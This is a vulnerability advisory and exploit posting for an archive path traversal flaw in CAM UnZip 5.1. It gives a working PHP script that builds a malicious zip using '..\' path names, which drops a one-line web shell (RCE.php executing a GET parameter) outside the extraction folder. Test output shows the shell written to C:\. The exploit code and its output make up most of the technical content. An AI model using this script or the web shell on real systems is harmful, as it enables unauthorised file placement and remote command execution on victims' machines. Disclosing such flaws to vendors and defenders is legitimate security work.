Exploit the possiblities

CAM UnZip 5.1 Path Traversal / Code Execution

CAM UnZip 5.1 Path Traversal / Code Execution
Posted Apr 11, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

CAM UnZip version 5.1 suffers from a path traversal vulnerability that allows for code execution.

tags | exploit, code execution
MD5 | 3aadba5b964c2686a4b3e0a9701e6dd4

CAM UnZip 5.1 Path Traversal / Code Execution

Change Mirror Download
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt




Vendor:
=================
www.camunzip.com



Product:
==============
CAM UnZip v5.1



Vulnerability Type:
======================
Archive Path Traversal



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

CAM UnZip fails to check that the paths of the files in the archive do not
engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can
overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory
which may lead to remote command execution exploits etc...

Tested successfully Windows 7



Exploit code(s):
===============

malicious archive script...


<?php
#CAM UnZip v5.1
#directory traversal to remote code execution exploit
#====================================================

if($argc<2){echo "Usage: <filename>";exit();}
$file_name=$argv[1];

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php
exec($_GET["cmd"]); ?>');
$zip->close();

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";
?>

/////////////////////////////////////////////////////////////////////////////////////

Result:

Creating Folder: C:\Test\BOZO

Extracting Files From: C:\Test\BOZO.zip

Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28

1 file was Extracted.

C:\RCE.php




Exploitation Technique:
=======================
Local



Severity Level:
================
Medium



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx

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